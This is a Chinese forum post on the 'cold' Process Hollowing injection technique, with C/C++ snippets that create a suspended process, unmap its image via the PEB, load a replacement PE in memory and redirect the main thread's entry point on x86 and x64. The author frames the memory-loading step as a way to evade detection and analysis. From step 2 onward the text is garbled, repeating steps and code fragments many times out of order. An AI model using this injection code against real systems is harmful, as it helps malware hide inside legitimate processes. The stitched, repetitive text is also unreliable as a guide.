每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,使得CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行。
新年的第一次发帖,祝大家新年快乐!
在前几篇帖子中,介绍了几种常见的内存注入技术及分析,前几天在Twitter上看到有人又谈论起了Process Hollowing这种注入方法,研究了一下,用这篇帖子记录下。该方法有两种实现方式,分为“冷”注入和“热”注入,该帖仅讨论“冷”注入,这种注入方式在前两年被较多的恶意软件使用,如勒索软件Locky。我在网上的代码的基础上,进行了一些更改,支持了x64下的注入,并与上篇帖子《
常见进程注入的实现及内存dump分析——内存模块 》进行了结合,实现了远程内存加载,让恶意内存区段看起来更接近正常区段。
借用EndGame的描述图(侵删)
步骤
1、创建挂起的进程。
2、卸载掉原来的模块。
3、写入新的文件。
4、恢复现场。
1、创建挂起的进程。
CreateProcessA(NULL,
lpCommandLine, NULL,NULL, NULL,
CREATE_SUSPENDED,
NULL, NULL, lpStartupInfo, lpProcessInformation
);
2、获取模块的基地址(通过PEB获取)。
首先,我们要获取目标进程的PEB结构,可以通过NtQueryInformationProcess函数来获取进程信息PROCESS_BASIC_INFORMATION,进程信息中保存着PEB的地址指针。结构如下:
struct PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PVOID PebBaseAddress;
PVOID Reserved2[2];
DWORD UniqueProcessId;
PVOID Reserved3;
};
获取PROCESS_BASIC_INFORMATION结构体。
ntQueryInfomationProcess(hProcess, 0, pProcessInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
获取到PEB的地址后,读取内存,即可获取到PEB结构体。
ReadProcessMemory(hProcess, dwPEBAddress, pPEB, sizeof(__PEB), 0);
PEB结构中保存着镜像的基地址(要卸载的模块)。
3、卸载模块。
NtUnmapViewSection(lpProcessInformation->hProcess, pPEB->lpImageBaseAddress);
4、将新的PE文件加载到目标进程,替代卸载掉的模块。
新的PE文件加载,我使用的是Memory Module方式,加大了被发现和分析的难度。具体的实现可参考上篇帖子,地址在片头已经给出。
要注意的地方:由于镜像加载到的是另一进程,所以,涉及到数据修改的地方,尽量保存在Dropper进程的PE文件的副本中,避免多次读取目标进程内存。
5、获取目标进程的主线程上下文,并对上下文进行修改。
每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,使得CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行。
获取上下文。
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint;
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef _WIN64
pContext->Rcx = dwEntryPoint;
#else
pContext->Eax = dwEntryPoint;
#endif // _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
SetThreadContext(lpProcessInformation->hThread, pContext);
ResumeThread(lpProcessInformation->hThread);
CreateProcessA(NULL,
lpCommandLine, NULL,NULL, NULL,
CREATE_SUSPENDED,
NULL, NULL, lpStartupInfo, lpProcessInformation
);
2、获取模块的基地址(通过PEB获取)。
首先,我们要获取目标进程的PEB结构,可以通过NtQueryInformationProcess函数来获取进程信息PROCESS_BASIC_INFORMATION,进程信息中保存着PEB的地址指针。结构如下:
struct PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PVOID PebBaseAddress;
PVOID Reserved2[2];
DWORD UniqueProcessId;
PVOID Reserved3;
};
获取PROCESS_BASIC_INFORMATION结构体。
ntQueryInfomationProcess(hProcess, 0, pProcessInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
获取到PEB的地址后,读取内存,即可获取到PEB结构体。
ReadProcessMemory(hProcess, dwPEBAddress, pPEB, sizeof(__PEB), 0);
PEB结构中保存着镜像的基地址(要卸载的模块)。
3、卸载模块。
NtUnmapViewSection(lpProcessInformation->hProcess, pPEB->lpImageBaseAddress);
4、将新的PE文件加载到目标进程,替代卸载掉的模块。
新的PE文件加载,我使用的是Memory Module方式,加大了被发现和分析的难度。具体的实现可参考上篇帖子,地址在片头已经给出。
struct PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PVOID PebBaseAddress;
PVOID Reserved2[2];
DWORD UniqueProcessId;
PVOID Reserved3;
};
获取PROCESS_BASIC_INFORMATION结构体。
ntQueryInfomationProcess(hProcess, 0, pProcessInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
ntQueryInfomationProcess(hProcess, 0, pProcessInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);
获取到PEB的地址后,读取内存,即可获取到PEB结构体。
ReadProcessMemory(hProcess, dwPEBAddress, pPEB, sizeof(__PEB), 0);
PEB结构中保存着镜像的基地址(要卸载的模块)。
3、卸载模块。
ReadProcessMemory(hProcess, dwPEBAddress, pPEB, sizeof(__PEB), 0);
PEB结构中保存着镜像的基地址(要卸载的模块)。
NtUnmapViewSection(lpProcessInformation->hProcess, pPEB->lpImageBaseAddress);
4、将新的PE文件加载到目标进程,替代卸载掉的模块。
要注意的地方:由于镜像加载到的是另一进程,所以,涉及到数据修改的地方,尽量保存在Dropper进程的PE文件的副本中,避免多次读取目标进程内存。
5、获取目标进程的主线程上下文,并对上下文进行修改。
每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,使得CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行。
获取上下文。
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint;
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef _WIN64
pContext->Rcx = dwEntryPoint;
#else
pContext->Eax = dwEntryPoint;
#endif // _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
SetThreadContext(lpProcessInformation->hThread, pContext);
ResumeThread(lpProcessInformation->hThread);
获取上下文。
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint;
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef _WIN64
pContext->Rcx = dwEntryPoint;
#else
pContext->Eax = dwEntryPoint;
#endif // _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
SetThreadContext(lpProcessInformation->hThread, pContext);
ResumeThread(lpProcessInformation->hThread);
获取上下文。
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint;
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef _WIN64
pContext->Rcx = dwEntryPoint;
#else
pContext->Eax = dwEntryPoint;
#endif // _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
SetThreadContext(lpProcessInformation->hThread, pContext);
ResumeThread(lpProcessInformation->hThread);
ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint;
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);
修改Context。
#ifdef _WIN64
pContext->Rcx = dwEntryPoint;
#else
pContext->Eax = dwEntryPoint;
#endif // _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
修改Context。
#ifdef _WIN64
pContext->Rcx = dwEntryPoint;
#else
pContext->Eax = dwEntryPoint;
#endif // _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
6、设置上下文,恢复线程。
#ifdef _WIN64
pContext->Rcx = dwEntryPoint;
#else
pContext->Eax = dwEntryPoint;
#endif // _WIN64
32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。
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最后于 2018-2-21 18:33
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